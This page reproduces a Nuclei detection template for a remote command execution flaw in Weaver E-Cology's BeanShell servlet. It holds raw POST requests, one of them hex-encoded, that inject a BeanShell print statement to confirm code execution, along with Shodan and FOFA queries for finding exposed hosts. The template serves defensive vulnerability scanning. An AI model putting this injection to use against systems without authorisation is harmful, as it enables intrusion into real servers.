Weaver E-Cology BeanShell - Remote Command Execution

ID: weaver-ecology-bshservlet-rce

Severity: critical

Author: SleepingBag945

Tags: beanshell,rce,weaver

Description

Weaver BeanShell contains a remote command execution vulnerability in the bsh.servlet.BshServlet program.

YAML Source

id: weaver-ecology-bshservlet-rce

info:
  name: Weaver E-Cology BeanShell - Remote Command Execution
  author: SleepingBag945
  severity: critical
  description: |
    Weaver BeanShell contains a remote command execution vulnerability in the bsh.servlet.BshServlet program.
  classification:
    cpe: cpe:2.3:a:weaver:e-cology:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: weaver
    product: e-cology
    shodan-query: ecology_JSessionid
    fofa-query: app="泛微-协同办公OA"
  tags: beanshell,rce,weaver

http:
  - raw:
      - |
        POST /weaver/bsh.servlet.BshServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        bsh.script=print%28%22{{randstr}}%22%29%3B
      - |
        POST /weaver/bsh.servlet.BshServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        %62%73%68%2e%73%63%72%69%70%74=%70%72%69%6e%74%28%22{{randstr}}%22%29%3b

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "BeanShell Test Servlet"
          - "(?i)<pre>(\n.*){{randstr}}"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008496411a40e9a5043561b9efff2c761915719fa9b5b7e5b38717254fe8f6d0e0022100c469e85cac0e5dba173db4b536a544dfa5818a02e14d55833a9ded6439f8682d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/weaver/weaver-ecology-bshservlet-rce.yaml"

View on Github